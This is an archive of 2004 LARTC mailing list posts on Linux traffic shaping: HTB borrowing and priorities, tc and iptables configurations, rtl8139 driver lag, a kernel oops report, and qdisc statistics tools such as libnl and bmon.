Message-ID: <416DA8F9.1060603@dsl.pipex.com>

Hariett Jones wrote:
> Got some solutions myself.
> 
> LAG is caused by :
> NETDEV WATCHDOG eth0 timeout
> 
> this is caused bacause of problems with rtl8139 network card in kernel 
> 2.6.x

I had to unselect SMP in kernel config to get my rtl8139 + PCI modem to 
work with 2.6.8.1

Andy.

> Solutions :
> 1.add in lilo.conf : append="noapic"
> 2.turn apic off in bios
> 3.if u have 2 rtl8139 cards, then exchange one with some other card type 
> (chipset)
> 
> btw. all above was found in various polish forums, but none has worked 
> for me. im switching kernel back to 2.4.22, and will report later .
> 
> 
> 
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
> 



From andy.furniss@dsl.pipex.com  Wed Oct 13 23:33:29 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Wed, 13 Oct 2004 23:33:29 +0100
Subject: [LARTC] Is it possible to shape variable bandwidth?
In-Reply-To: <20041012072652.2BEF36CB720@mail.caucasus.net>
References: <20041012072652.2BEF36CB720@mail.caucasus.net>
Message-ID: <416DAD39.8020104@dsl.pipex.com>

Zviad O. Giorgadze wrote:
> Hello LARTC,
> 
> Internet connection - ADSL, interface nas0 (115kbit guarantied, up to 1mbit possible. Depends on ISP load, impossible to guess).
> Internal interface LAN, eth0.
> 
> Is it possible to successfully shape download traffic on eth0 using HTB?
> Classes must have guarantied rate calculated from 115kbit possible rate (for example 3 classes) and the possibility to borrow up to 1mbit (depends on ISP side).
> If it's impossible, than how to define additional class for excess bandwidth from 115kbit up to 1mbit?
> 
> Can be other classfull or classless qdisc used in this case?

Very hard, it maybe, depending on the link behaviour over time and 
exactly how your ISP does the shaping, be possible to detect what rate 
traffic is arriving at with policers and mark accordingly.

I assume you are shaping inbound traffic - if so you will always need to 
keep your total rate about 20% less than what your speed is or you will 
not be able to "grow" a queue to shape with.

Andy.



From mslinn@zamples.com  Wed Oct 13 23:39:17 2004
From: mslinn@zamples.com (Mike Slinn)
Date: Wed, 13 Oct 2004 15:39:17 -0700
Subject: [Fwd: Re: [LARTC] ssh and cs LAG]
In-Reply-To: <416DA8F9.1060603@dsl.pipex.com>
References: <416D8C3A.3050602@wp.pl> <416DA8F9.1060603@dsl.pipex.com>
Message-ID: <416DAE95.5000003@zamples.com>

We had no problems with smp on 2.6.8.3, and since this cpu supports 
hyperthreading we enjoy a *big* power boost using smp.  :)

Mike


Andy Furniss wrote:

> Hariett Jones wrote:
>
>> Got some solutions myself.
>>
>> LAG is caused by :
>> NETDEV WATCHDOG eth0 timeout
>>
>> this is caused bacause of problems with rtl8139 network card in 
>> kernel 2.6.x
>
>
> I had to unselect SMP in kernel config to get my rtl8139 + PCI modem 
> to work with 2.6.8.1
>
> Andy.
>
>> Solutions :
>> 1.add in lilo.conf : append="noapic"
>> 2.turn apic off in bios
>> 3.if u have 2 rtl8139 cards, then exchange one with some other card 
>> type (chipset)
>>
>> btw. all above was found in various polish forums, but none has 
>> worked for me. im switching kernel back to 2.4.22, and will report 
>> later .
>>
>>
>>
>> _______________________________________________
>> LARTC mailing list / LARTC@mailman.ds9a.nl
>> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>>
>
>
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>



From andy.furniss@dsl.pipex.com  Thu Oct 14 00:24:22 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Thu, 14 Oct 2004 00:24:22 +0100
Subject: [Fwd: Re: [LARTC] ssh and cs LAG]
In-Reply-To: <416DAE95.5000003@zamples.com>
References: <416D8C3A.3050602@wp.pl> <416DA8F9.1060603@dsl.pipex.com> <416DAE95.5000003@zamples.com>
Message-ID: <416DB926.3050207@dsl.pipex.com>

Mike Slinn wrote:
> We had no problems with smp on 2.6.8.3, and since this cpu supports 
> hyperthreading we enjoy a *big* power boost using smp.  :)

I think it's this box(via p200) + rtl8139 that's the problem - it's 
always been a bit flakey. I have the same card in a PII350 intel440bx 
and it has always been OK.

Andy.


From andy.furniss@dsl.pipex.com  Thu Oct 14 00:27:29 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Thu, 14 Oct 2004 00:27:29 +0100
Subject: [LARTC] Resetting traffic history
In-Reply-To: <416D89ED.6090508@zamples.com>
References: <416D89ED.6090508@zamples.com>
Message-ID: <416DB9E1.7030508@dsl.pipex.com>

Mike Slinn wrote:
> I'm a tc newbie, and I think I am close to being able to use it to 
> control one of the virtual web sites on our Gentoo Linux server.  The 
> site has it's own IP address.  I have a bit of a problem in that the way 
> I originally configured tc, the busy site grabbed all the bandwidth, 
> leaving none for the other (and more important) sites.  Here is how I 
> had configured it:
> 
>    tc qdisc replace dev $NIC root tbf rate $RATE_TOTAL latency 50ms
>    burst $BURST
> 
> The total data rate was pegged within acceptable limits, but the problem 
> is that data stopped flowing after tc was active after a few hours.  The 
> busy site had a few peak periods and presumably used up all the traffic 
> allotment.  Perhaps tc remembers the traffic between invocations?
> 
> I then tried a slightly more sophisticated setup:
> 
>    tc qdisc del dev $DEV root
>    tc qdisc  add dev $NIC root handle 1: cbq avpkt 1000 bandwidth 1000mbit
>    tc class  add dev $NIC parent 1: classid 1:1 cbq rate $RATE_PROBLEM
>    allot 1500 prio 5 bounded # isolated
>    tc filter add dev $NIC parent 1: protocol ip prio 16 u32 match ip
>    dst $IP flowid 1:1
> 
> Unfortunately, I still don't get any traffic flowing while tc is active 
> now.  Seems that I need to reset something.  Any suggestions?  I've shut 
> down the problem site and disabled tc while I try to figure out a solution.
> 
> Thanks for your help!
> 
> Mike
> mslinn at mslinn.com
> 

 From your other post I see 2.6.8.3 - I had to patch 2.6.8.1 to fix a TC 
options related panic. I don't know if it's in 2.6.8.3 already, though.

http://www.linuxhq.com/kernel/v2.6/9-rc2/net/sched/sch_api.c

Andy.



From Ow.Mun.Heng@wdc.com  Thu Oct 14 04:41:00 2004
From: Ow.Mun.Heng@wdc.com (Ow Mun Heng)
Date: Thu, 14 Oct 2004 11:41:00 +0800
Subject: [LARTC] Is this actually possible?
In-Reply-To: <Pine.LNX.4.44.0410131518540.28724-100000@george.eliot.priv.at>
References: <Pine.LNX.4.44.0410131518540.28724-100000@george.eliot.priv.at>
Message-ID: <1097725259.22944.80.camel@neuromancer.home.net>

On Wed, 2004-10-13 at 21:33, Peter Huetmannsberger wrote:
> I have two university buildings with a 1mb connection to the Internet. The
> two buildings (on either side of town) are connected through a tunnel
A Tunnel eh.. so.. tun0?? (not reflected in below script?)

> the connection is fully available for everyone, until 
> the secretary wants to look something up on the database. Then it should 
> have top prority and all the other traffic should virtually stop.
Virtually Stop? Wow. That's harsh.


> #!/bin/bash
> tc qdisc add dev eth1 root handle 1: htb default 30
> tc class add dev eth1 parent 1: classid 1:1 htb rate 96mbit burst 15k

Why is it 96mbit here?? I thought you had a 1mbit conn only? But anyway.

> tc qdisc add dev eth1 root handle 1: htb default 30
> tc class add dev eth1 parent 1: classid 1:7 htb rate 128kbps burst 15k
> tc class add dev eth1 parent 1:1 classid 1:10 htb rate 96mbit burst 15k
> tc class add dev eth1 parent 1:7 classid 1:20 htb rate 127kbps ceil 128kbps 
> 	burst 15k prio 0
Wouldn't it be better to use 
...rate 128kbps burst 15k prio 0 (?) the ceiling here serves not purpose

> tc class add dev eth1 parent 1:7 classid 1:30 htb rate 1kbps ceil 128kbps 
> 	burst 1k prio 2 
> U32="tc filter add dev eth1 protocol ip parent 1:0 prio 1 u32"
> $U32 match ip src xx.xx.xx.xx/26 flowid 1:10
> $U32 match ip dst 10.190.19.0/28 match ip sport 19813 0xffff flowid 1:20

I'm not too familiar with usage of U32, I prefer the iptables MARK
scheme.

Eg: Sincec you know which is the dest IP, I would prefer to put in a
iptables rule to mark the dest IP.

iptables -t mangle -A POSTROUTING -d 10.190.19.0/28 -p tcp -j MARK
--set-mark 1
(but you have defined a source port(?)

tc filter add dev eth1 parent 1:7 protocol ip prio 0 handle 1 fw classid
1:20


> Only if I lower the ceiling on leaf 1:30 does it show any results. If I 
> have the ceiling the same on both, there is no measureable result in 
> speed. The both seem to share the connection equally.  
I think this is because your U32 is not matching the traffic.
Remember, your default rule is to put _all_ traffic in classid 1:30. 
Only when there are matches will they go to classid 1:20.

> Am I missing the point, is it possible at all, or am I just too dum to get 
> it right?

Don't worry the community are here to help.

-- 
Ow Mun Heng
Fedora GNU/Linux Core 2 on D600 1.4Ghz CPU kernel
2.6.7-2.jul1-interactive 
Neuromancer 10:55:05 up 1:27, 7 users, load average: 0.67, 0.28, 0.28 

From Ow.Mun.Heng@wdc.com  Thu Oct 14 04:46:34 2004
From: Ow.Mun.Heng@wdc.com (Ow Mun Heng)
Date: Thu, 14 Oct 2004 11:46:34 +0800
Subject: [LARTC] Is this actually possible?
In-Reply-To: <20041013181025.44CE72D5168@maile.online.ge>
References: <20041013181025.44CE72D5168@maile.online.ge>
Message-ID: <1097725594.22944.84.camel@neuromancer.home.net>

On Thu, 2004-10-14 at 02:10, Zviad O. Giorgadze wrote:
> According to tc-htb man page, if we set PRIO parameter, then after
> supplying the packets to satisfy the RATE of all classes, the HTB
> first sends the available packets to LOWEST PRIO class and so on.
I think that's correct

>  In this case if the above class 1:20 with PRIO 0 requests packets,
> than the class 1:30 must receive only 1kbit (the specified RATE),
> nothing more. 
This is true only if that packet is marked to go to the 1:20 chain. It
has to _know_ where it's destined for before it gets priority.

> In practice class 1:30 shares the bandwidth with class 1:20 and gets
> not 1kbit, but much more >20kbit.
This I can't be certain.

> I have TSL 2.1, kernel 2.4.27-3tr. I changed the PSCHED_CPU and
> disabled the HTB hysteresis, set SFQ queue length to 16
I'm not sure what are those. If anyone can explain that,it wold be nice


From dan@coverfire.com  Thu Oct 14 06:18:11 2004
From: dan@coverfire.com (Dan Siemon)
Date: Thu, 14 Oct 2004 01:18:11 -0400
Subject: [LARTC] Qdisc statistics project
In-Reply-To: <200410131812.03043.jasonb@edseek.com>
References: <200410121632.38611.alg0@iit.demokritos.gr>
 <200410131812.03043.jasonb@edseek.com>
Message-ID: <1097731091.16542.29.camel@ganymede.coverfire.com>

On Wed, 2004-13-10 at 18:12 -0400, Jason Boxman wrote:
> I was playing with that as well, but of late it doesn't seem to be actively 
> developed.  Someone else mentioned LQL[1], but it doesn't seem to have hooks 
> to let you grab qdisc stats yet.
> 
> [1] http://www.coverfire.com/lql/

> LQL seems to be the only actively developed project currently that could 
> eventually allow you to plug into netlink and poll for statistics.  Right now 
> it seems you can only get and set parameters.

I am currently working on statistics support. These new features are not
done yet but should be within a couple of weeks. See below for a bit
more information.

http://www.coverfire.com/archives/2004/10/13/lql-update/


-- 
OpenPGP key: http://www.coverfire.com/files/pubkey.txt
Key fingerprint: FB0A 2D8A A1E9 11B6 6CA3  0C53 742A 9EA8 891C BD98



From gypsy@iswest.com  Thu Oct 14 06:28:59 2004
From: gypsy@iswest.com (gypsy)
Date: Wed, 13 Oct 2004 22:28:59 -0700
Subject: [LARTC] Is this actually possible?
References: <20041013181025.44CE72D5168@maile.online.ge>
Message-ID: <416E0E9B.4E5FA919@iswest.com>

"Zviad O. Giorgadze" wrote:
> 
> >
> >Only if I lower the ceiling on leaf 1:30 does it show any results. If I
> >have the ceiling the same on both, there is no measureable result in
> >speed. The both seem to share the connection equally.
> >
> >Am I missing the point, is it possible at all, or am I just too dum to get
> >it right?
> >
> >.peter
> 
> I have the same problem and unable to solve.

I can't promise this is the answer you're looking for, but it sure
helped me a lot.

grep "changes from state" /user/src/linux/net/sched/sch_htb.c

If you don't get a match, go to
http://luxik.cdi.cz/~devik/qos/htb/
and find the 21.6.2004 patch.

gypsy

From alg0@iit.demokritos.gr  Thu Oct 14 09:39:11 2004
From: alg0@iit.demokritos.gr (Antonios Chalkiopoulos)
Date: Thu, 14 Oct 2004 11:39:11 +0300
Subject: [LARTC] Qdisc statistics project
In-Reply-To: <416DA44B.5060001@mercs.homeip.net>
References: <200410121632.38611.alg0@iit.demokritos.gr> <416DA44B.5060001@mercs.homeip.net>
Message-ID: <200410141139.11551.alg0@iit.demokritos.gr>

> >As a necessety for my job is to real-time monitor the bytes, packets,
> > packet dropped etc of all the qdiscs working inside the kernel i've tried
> > varius methods:
> >
> >1. Parse tc -s command output and update a round robin database and use
> >rrdtool to graphically display tc statistics.
>

> I have developed myself a similar setup, but i used a perl script with
> snmp pass_persist to retrieve the data via snmp feed it to MRTG and then
> display it with a CGI script, since i changed jobs recently i made some
> changes to the setup and was thinking in creating a sourceforge project.

I guess you use the qos snmp extentions to achieve the above. The only 
drawback to your design is the cpu usage of cgi.

> But i don't think it is ready for that yet, i mean, it is working
> beautifully for me (and in my previous employer) but there are some
> rough edges to address first.
> I can forward you the software that i use with some documentation.

Please do so.

Thanks,
Antonio

From zgiorgadze@gol.ge  Thu Oct 14 11:37:14 2004
From: zgiorgadze@gol.ge (Zviad O. Giorgadze)
Date: Thu, 14 Oct 2004 14:37:14 +0400
Subject: [LARTC] Is this actually possible?
Message-ID: <20041014103715.88CE36CAFF0@mail.caucasus.net>

Hello gypsy,

Thank you for information. This patch solves all my problems.

FOR EVERYONE
=============
HTB borrowing has problems in kernels up to 2.4.27 (not sure about 2.6 series). Apply patch 21.6.2004.

http://luxik.cdi.cz/~devik/qos/htb/

Best regards, 

Zviad  

======= At 2004-10-14, 09:28:59 you wrote: =======
>"Zviad O. Giorgadze" wrote:
>> 
>> >
>> >Only if I lower the ceiling on leaf 1:30 does it show any results. If I
>> >have the ceiling the same on both, there is no measureable result in
>> >speed. The both seem to share the connection equally.
>> >
>> >Am I missing the point, is it possible at all, or am I just too dum to get
>> >it right?
>> >
>> >.peter
>> 
>> I have the same problem and unable to solve.
>
>I can't promise this is the answer you're looking for, but it sure
>helped me a lot.
>
>grep "changes from state" /user/src/linux/net/sched/sch_htb.c
>
>If you don't get a match, go to
>http://luxik.cdi.cz/~devik/qos/htb/
>and find the 21.6.2004 patch.
>
>gypsy



From ronaldo.afonso@cyclades.com  Thu Oct 14 09:14:02 2004
From: ronaldo.afonso@cyclades.com (Ronaldo Z. Afonso)
Date: Thu, 14 Oct 2004 08:14:02 +0000
Subject: [LARTC] Excess Bandwidth
In-Reply-To: <1097286328.20741.7.camel@hermes>
References: <4166FA94.2090208@cyclades.com.br> <1097286328.20741.7.camel@hermes>
Message-ID: <416E354A.9070404@cyclades.com>

    Sorry for my insistence, but I have tried to use different "prios" 
based on the class rate and what happens is that the class that has more 
rate, and in this case more priority, will borrow almost all the excess 
bandwidth.
    Like I said, I have read that htb share its excess bandwidth 
proportionaly to the class rates its childrens are assigned.
    I made a test and based on the statistics of "tc ouput" we can see 
that the class that has more rate "borrowed" less of the excess bandwidth.
    Another question is what is the meaning of "lended" in htb? To me it 
is a little bit confusing.


[root@teste_hsbc htb]# tc -s -d class show dev pvc0
class htb 1:2 root rate 512Kbit ceil 512Kbit burst 2254b/8 mpu 0b cburst 
2254b/8 mpu 0b level 7
Sent 7543402 bytes 5031 pkts (dropped 0, overlimits 0)
rate 37748bps 25pps
lended: 2112 borrowed: 0 giants: 0
tokens: 27488 ctokens: 27488

class htb 1:3 parent 1:2 leaf 3: prio 1 quantum 1000 rate 50Kbit ceil 
512Kbit burst 1664b/8 mpu 0b cburst 2254b/8 mpu 0b level 0
Sent 2068254 bytes 1377 pkts (dropped 2988, overlimits 0)
rate 11268bps 7pps
lended: 493 borrowed: 884 giants: 0
tokens: -326656 ctokens: 9488

class htb 1:4 parent 1:2 leaf 4: prio 1 quantum 1280 rate 100Kbit ceil 
512Kbit burst 1728b/8 mpu 0b cburst 2254b/8 mpu 0b level 0
Sent 2588080 bytes 1728 pkts (dropped 2644, overlimits 0)
rate 11335bps 7pps
lended: 980 borrowed: 748 giants: 0
tokens: 73728 ctokens: 20988

class htb 1:5 parent 1:2 leaf 5: prio 1 quantum 1920 rate 150Kbit ceil 
512Kbit burst 1791b/8 mpu 0b cburst 2254b/8 mpu 0b level 0
Sent 2887068 bytes 1926 pkts (dropped 2447, overlimits 0)
rate 11696bps 7pps
lended: 1446 borrowed: 480 giants: 0
tokens: 74070 ctokens: 27488

Daniel Frederiksen wrote:

>Hej Ronaldo
>
>Remember to prioritize the excess bandwidth. If you are using the HTB
>read the bottom section of the manual.:
>http://luxik.cdi.cz/~devik/qos/htb/manual/userg.htm#prio
>
>The "prio" parameter will help you with your problem, give the child
>classes a priority from 1-3, where 1 is the highest priority and 3 is
>the lowest.
>
>On Fri, 2004-10-08 at 22:37, Ronaldo Z. Afonso wrote:
>  
>
>>   Hi,
>>
>>   I'm trying to configure QoS on my linux in the following manner:
>>   I have a main link with 64K, so I divided it in 3 classes of 18K, 14K 
>>and 9K with an excess (not used for classified traffic, just to be 
>>shared) of 23K. This excess should be distributed proportonally among 
>>the 3 classes,  that is, the class that has more rate should borrow more 
>>bandwidth. What is happening is just the opposite, the class that has 
>>less rate is borrowing more bandwidth. A representation of my 
>>"hierarchical class layout" is as follow:
>>
>>                              root - 64K
>>
>>         A - 18K           B - 14K            C - 9K
>>
>>   I have read some documentation that says it should work exactly in 
>>this in way, but it is not happening in my environment. All the tests I 
>>did show me that the class with less rate is borrow more bandwidth.
>>   Can anyone help me?
>>    
>>
>
>_______________________________________________
>LARTC mailing list / LARTC@mailman.ds9a.nl
>http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>  
>


-- 
______________________________
Ronaldo Z. Afonso
Projetista de Software Jr.
Cyclades Brasil
ronaldo.afonso@cyclades.com.br

Phone: 55 11 5033-3361
Fax: 55 11 5033-3388
www.cyclades.com.br
"Everywhere with Linux"


From jasonb@edseek.com  Thu Oct 14 17:31:03 2004
From: jasonb@edseek.com (Jason Boxman)
Date: Thu, 14 Oct 2004 12:31:03 -0400
Subject: [LARTC] Is this actually possible?
In-Reply-To: <20041014103715.88CE36CAFF0@mail.caucasus.net>
References: <20041014103715.88CE36CAFF0@mail.caucasus.net>
Message-ID: <200410141231.03925.jasonb@edseek.com>

On Thursday 14 October 2004 06:37, Zviad O. Giorgadze wrote:
> Hello gypsy,
>
> Thank you for information. This patch solves all my problems.
>
> FOR EVERYONE
> =============
> HTB borrowing has problems in kernels up to 2.4.27 (not sure about 2.6
> series). Apply patch 21.6.2004.

It's in 2.6.8.1 and beyond, but not in 2.6.7 and below.  (I didn't check 
2.6.8.0.)

-- 

Jason Boxman
Perl Programmer / *NIX Systems Administrator
Shimberg Center for Affordable Housing | University of Florida
http://edseek.com/ - Linux and FOSS stuff


From stef.coene@docum.org  Thu Oct 14 19:07:53 2004
From: stef.coene@docum.org (Stef Coene)
Date: Thu, 14 Oct 2004 20:07:53 +0200
Subject: [LARTC] Is this actually possible?
In-Reply-To: <1097725594.22944.84.camel@neuromancer.home.net>
References: <20041013181025.44CE72D5168@maile.online.ge> <1097725594.22944.84.camel@neuromancer.home.net>
Message-ID: <200410142007.53468.stef.coene@docum.org>

On Thursday 14 October 2004 05:46, Ow Mun Heng wrote:
> > I have TSL 2.1, kernel 2.4.27-3tr. I changed the PSCHED_CPU and
> > disabled the HTB hysteresis, set SFQ queue length to 16
>
> I'm not sure what are those. If anyone can explain that,it wold be nice

=2D HTB hysteries is an undocumented option and it makes htb faster but les=
=20
accurate.
http://www.docum.org/docum.org/faq/cache/36.html

=2D PSCHED_CPU is the timer used by the kernel:
http://www.docum.org/docum.org/faq/cache/40.html

=2D For the queue length:
http://www.docum.org/docum.org/faq/cache/21.html

Stef

=2D-=20
stef.coene@docum.org
=A0"Using Linux as bandwidth manager"
=A0 =A0 =A0http://www.docum.org/

From stef.coene@docum.org  Thu Oct 14 19:22:01 2004
From: stef.coene@docum.org (Stef Coene)
Date: Thu, 14 Oct 2004 20:22:01 +0200
Subject: [LARTC] Qdisc statistics project
In-Reply-To: <200410141139.11551.alg0@iit.demokritos.gr>
References: <200410121632.38611.alg0@iit.demokritos.gr> <416DA44B.5060001@mercs.homeip.net> <200410141139.11551.alg0@iit.demokritos.gr>
Message-ID: <200410142022.02014.stef.coene@docum.org>

On Thursday 14 October 2004 10:39, Antonios Chalkiopoulos wrote:
> > >As a necessety for my job is to real-time monitor the bytes, packets,
> > > packet dropped etc of all the qdiscs working inside the kernel i've
> > > tried varius methods:
> > >
> > >1. Parse tc -s command output and update a round robin database and use
> > >rrdtool to graphically display tc statistics.
> >
> > I have developed myself a similar setup, but i used a perl script with
> > snmp pass_persist to retrieve the data via snmp feed it to MRTG and then
> > display it with a CGI script, since i changed jobs recently i made some
> > changes to the setup and was thinking in creating a sourceforge project.
>
> I guess you use the qos snmp extentions to achieve the above. The only
> drawback to your design is the cpu usage of cgi.
>
> > But i don't think it is ready for that yet, i mean, it is working
> > beautifully for me (and in my previous employer) but there are some
> > rough edges to address first.
> > I can forward you the software that i use with some documentation.
>
> Please do so.
I did the same, see www.docum.org.  Most of the scripts are a mess :) but t=
hey=20
work for me.
My scripts can:
=2D parse tc output and recreate the tc setup (parent - child relation ship)
=2D use snmp extension to get stats remotly
=2D use rrd to store the stats
=2D a cgi script to generate graphs on the fly
=2D create/edit htb + filters setup and generate commands graphical (cgi-bi=
n=20
script, 1 big hack)
=2D realtime graphs ina browser: written in java, but data is fetched from =
a=20
webserver so it's not that handy
=2D much more that I forgot

The development of these scripts is stopped.  I'm rebuilding my house, maki=
ng=20
a website, I'm a father for 6 months now, ...... but if an interesting=20
project is started, I want to help.

Stef

=2D-=20
stef.coene@docum.org
=A0"Using Linux as bandwidth manager"
=A0 =A0 =A0http://www.docum.org/

From sistemas@systemwifi.com  Thu Oct 14 19:23:44 2004
From: sistemas@systemwifi.com (sistemas)
Date: Thu, 14 Oct 2004 20:23:44 +0200
Subject: [LARTC] HTB
Message-ID: <KMS--937165532-3012@mailserv>

Hi all

I'm new in this list and i hope to lear and to help if possible.

But firt i need help :-(

I have this messege in my syslog when my classes and qdiscs goes down.

Can any one know what does it mean?

Thnx in advance.

Yannick Arrimadas Bot

Oct 14 16:09:27 pototogorri kernel: HTB init, kernel part version 3.17
Oct 14 16:09:27 pototogorri kernel: Unable to handle kernel paging reques=
t at virtual address 00100100
Oct 14 16:09:27 pototogorri kernel:  printing eip:
Oct 14 16:09:27 pototogorri kernel: c0267fb4
Oct 14 16:09:27 pototogorri kernel: *pde =3D 00000000
Oct 14 16:09:27 pototogorri kernel: Oops: 0000 [#1]
Oct 14 16:09:27 pototogorri kernel: Modules linked in: cls_fw sch_sfq sch=
_htb ipt_MARK iptable_mangle ide_floppy ide_tape sg sr_mod ide_cd cd
Oct 14 16:09:27 pototogorri kernel: CPU:    0
Oct 14 16:09:27 pototogorri kernel: EIP:    0060:[<c0267fb4>]    Not tain=
ted
Oct 14 16:09:27 pototogorri kernel: EFLAGS: 00010206   (2.6.8.1) 
Oct 14 16:09:27 pototogorri kernel: EIP is at qdisc_lookup+0x34/0x50
Oct 14 16:09:27 pototogorri kernel: eax: 001000d4   ebx: 001000d4   ecx: =
dd3f7914   edx: 00100100
Oct 14 16:09:27 pototogorri kernel: esi: 00010000   edi: 00010000   ebp: =
c204dc38   esp: c204dc30
Oct 14 16:09:27 pototogorri kernel: ds: 007b   es: 007b   ss: 0068
Oct 14 16:09:27 pototogorri kernel: Process tc (pid: 22899, threadinfo=3D=
c204c000 task=3Dc80219d0)
Oct 14 16:09:27 pototogorri kernel: Stack: ddeca290 dd3f7800 c204dc80 c02=
68a62 dd3f7800 00010000 d1a8873c 00000000
Oct 14 16:09:27 pototogorri kernel:        000005c8 ddb15800 0000000a 000=
00000 00000000 ffffffff dd3f7800 ddb15800
Oct 14 16:09:27 pototogorri kernel:        00000010 dce34a40 00000048 c20=
4dcb0 c204dcfc c0262297 dce34a40 ddeca280
Oct 14 16:09:27 pototogorri kernel: Call Trace:
Oct 14 16:09:27 pototogorri kernel:  [<c010707b>] show_stack+0x9b/0xb0
Oct 14 16:09:27 pototogorri kernel:  [<c01071cb>] show_registers+0x11b/0x=
180
Oct 14 16:09:27 pototogorri kernel:  [<c0107310>] die+0x50/0xb0
Oct 14 16:09:27 pototogorri kernel:  [<c0117280>] do_page_fault+0x330/0x5=
b8
Oct 14 16:09:27 pototogorri kernel:  [<c0106cbd>] error_code+0x2d/0x40
Oct 14 16:09:27 pototogorri kernel:  [<c0268a62>] tc_modify_qdisc+0x102/0=
x450
Oct 14 16:09:27 pototogorri kernel:  [<c0262297>] rtnetlink_rcv+0x347/0x3=
b0  
Oct 14 16:09:27 pototogorri kernel:  [<c026c3c4>] netlink_data_ready+0x54=
/0x60
Oct 14 16:09:27 pototogorri kernel:  [<c026baca>] netlink_sendskb+0x6a/0x=
90   
Oct 14 16:09:27 pototogorri kernel:  [<c026c0a9>] netlink_sendmsg+0x1f9/0=
x2c0 
Oct 14 16:09:27 pototogorri kernel:  [<c0253078>] sock_sendmsg+0x88/0xb0
Oct 14 16:09:27 pototogorri kernel:  [<c0254696>] sys_sendmsg+0x196/0x210=

Oct 14 16:09:27 pototogorri kernel:  [<c0254960>] sys_socketcall+0x80/0x1=
a0
Oct 14 16:09:27 pototogorri kernel:  [<c0105c79>] sysenter_past_esp+0x52/=
0x79
Oct 14 16:09:27 pototogorri kernel: Code: 8b 40 2c 0f 18 00 90 39 ca 75 e=
6 31 c0 5b 5e 5d c3 8d 74 26


Oct 14 17:23:30 pototogorri kernel: HTB: quantum of class 10481 is small.=
 Consider r2q change.
Oct 14 17:23:30 pototogorri kernel: HTB: quantum of class 10482 is small.=
 Consider r2q change.
Oct 14 17:23:30 pototogorri kernel: HTB: quantum of class 10483 is small.=
 Consider r2q change.
Oct 14 17:23:30 pototogorri kernel: HTB: quantum of class 11041 is small.=
 Consider r2q change.
Oct 14 17:23:30 pototogorri kernel: HTB: quantum of class 11042 is small.=
 Consider r2q change.


Servicio ofrecido por www.systemwifi.com


From tgraf@suug.ch  Thu Oct 14 19:55:59 2004
From: tgraf@suug.ch (Thomas Graf)
Date: Thu, 14 Oct 2004 20:55:59 +0200
Subject: [LARTC] Qdisc statistics project
In-Reply-To: <200410142022.02014.stef.coene@docum.org>
References: <200410121632.38611.alg0@iit.demokritos.gr> <416DA44B.5060001@mercs.homeip.net> <200410141139.11551.alg0@iit.demokritos.gr> <200410142022.02014.stef.coene@docum.org>
Message-ID: <20041014185559.GS21977@postel.suug.ch>

> The development of these scripts is stopped.  I'm rebuilding my house, making 
> a website, I'm a father for 6 months now, ...... but if an interesting 
> project is started, I want to help.

In order to not run into duplicated projects:

libnl
  General purpose netlink library for all netlink users with different
  API levels from raw netlink messaging to abstract processing of
  already existing netlink users. It supports a generic caching
  interface with filtering on all levels. All modules may be compiled
  in or loaded at runtime.

  Status
    netlink messaging     needs some work to handle special cases
    link                  finished and tested
    neighbour             finished and tested
    qdisc/class           nearly finished
      cbq                 nearly finished
      fifo                finished and tested
      prio                finished and tested
      sfq                 finished and tested
      ...
    filters               nearly finished
      u32                 finished and tested
      ...
    address               TLV parsers done
    route                 TLV parsers done

 The reason for not working on LQL are licensing issues not acceptable
 to me. I will release this library in 2-3 weeks and accept patches
 from that point.

bmon
  bmon is a portable bandwidth monitor running on various operating
  systems. It supports various input methods, one of those being the
  above libnl resulting in support for tc statistics. Variout output
  modes exist including an interactive curses interface:
    http://people.suug.ch/~tgr/bmon_ingress.jpg
  but also lightweight HTML output:
    http://people.suug.ch/~tgr/stats/axs.4.s.html

  Statistics may be distributed over a network using multicast
  or unicast and collected at some point to generate a summary
  of statistics for a set of nodes.

  I'm about to release 1.0-pre1 once I fixed the multicast issues
  on SunOS.

netconfig
  Cisco IOS like iproute2 replacement fully based on netlink
  supporting full tab completion and command description for those
  familiar with IOS. It is far from being releaseable as libnl
  needs to be finished first. Ideas exist to use it as interface
  for the new ietf netconf protocol.

generic netlink network statistics
  A few of may have noticed the first small set of patches going
  into 269rc3 introducing generic network statistics which will
  make the process of adding new statistics to qdiscs/class/filters
  very easy and removes the issue of backward compatibility.

netlink errors
  Effort has gone into improving error codes/messages returned
  from netlink users in the kernel. The idea is currently on hold
  as all acceptable solutions would break APIs. Planned for 2.7
  as of now.

From jasonb@edseek.com  Thu Oct 14 21:03:16 2004
From: jasonb@edseek.com (Jason Boxman)
Date: Thu, 14 Oct 2004 16:03:16 -0400
Subject: [LARTC] HTB
In-Reply-To: <KMS--937165532-3012@mailserv>
References: <KMS--937165532-3012@mailserv>
Message-ID: <200410141603.17140.jasonb@edseek.com>

On Thursday 14 October 2004 14:23, sistemas wrote:
> Hi all
>
> I'm new in this list and i hope to lear and to help if possible.
>
> But firt i need help :-(
>
> I have this messege in my syslog when my classes and qdiscs goes down.
>
> Can any one know what does it mean?
>

I used to have an Oops an awful lot like that.  I upgraded to 2.6.9-rc3 and it 
resolved the problem.  Yours could be something else, though.

What `tc` configuration are you using?  What's the simplest possible 
configuration you can create that consistently reproduces the problem?

What specifically did you do to trigger this problem, if you know?

Thanks.


From shemminger@osdl.org  Thu Oct 14 21:17:37 2004
From: shemminger@osdl.org (Stephen Hemminger)
Date: Thu, 14 Oct 2004 13:17:37 -0700
Subject: [LARTC] Qdisc statistics project
In-Reply-To: <20041014185559.GS21977@postel.suug.ch>
References: <200410121632.38611.alg0@iit.demokritos.gr> <416DA44B.5060001@mercs.homeip.net> <200410141139.11551.alg0@iit.demokritos.gr> <200410142022.02014.stef.coene@docum.org> <20041014185559.GS21977@postel.suug.ch>
Message-ID: <416EDEE1.6000806@osdl.org>

Thomas Graf wrote:

>
>netlink errors
>  Effort has gone into improving error codes/messages returned
>  from netlink users in the kernel. The idea is currently on hold
>  as all acceptable solutions would break APIs. Planned for 2.7
>  as of now.
>  
>
